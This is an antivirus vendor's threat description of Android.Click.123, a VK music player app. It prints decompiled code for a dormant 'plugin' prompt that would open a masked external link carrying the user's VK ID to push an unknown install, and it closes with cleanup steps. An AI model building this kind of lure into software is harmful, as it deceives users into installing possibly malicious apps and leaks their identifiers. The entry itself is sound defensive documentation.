Android.Click.123

Added to the Dr.Web virus database: 2016-06-14

Virus description added:

SHA1: 761200fde7c633274119136071a3ae248172b6d9

A detection for the “Music and video from VK” («Музыка и Видео из ВК») player which does not initially pose any threat. This application is distributed via Google Play and has the same creator as the Android.PWS.Vk.3 Trojan.

Android.Click.123 is a fully-featured player; yet, at every user action, it calls the isPlugin() method, which returns the value “1” and does not perform any function in this program’s version.

public static boolean isPlugin() {
return 1;
}

However, if attackers modify this function, the Trojan will activate the plugin() method prompting the user to install some necessary plug-in:

public void plugin() {
if(VK.getInstance().userId != 0) {
Builder alertDialog$Builder0 = new Builder(((Context)this));
alertDialog$Builder0.setMessage("Необходимо скачать дополнение, перейдите по ссылке для
скачивания");
alertDialog$Builder0.setPositiveButton("Перейти", new DialogInterface$OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
Intent intent0 = new Intent("android.intent.action.VIEW");
intent0.setData(Uri.parse("http://plug*****.info/?id=" + VK.getInstance().userId));
MainActivity.this.startActivity(intent0);
dialog.dismiss();
}
}).setNegativeButton("Отмена", new DialogInterface$OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
MainActivity.this.showAds();
}
}).show();
}
}

At present, this module is benign and only informs the user that the plug-in is enabled:

super.onCreate(savedInstanceState);
this.setContentView(2130968601);
Toast.makeText(((Context)this), "Плагин включен", 1).show();

Nevertheless, there is a high risk that cybercriminals will change this program to another one, which means that the user may install some unknown application (even a malicious one), mistakenly taking it for a player module.

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.
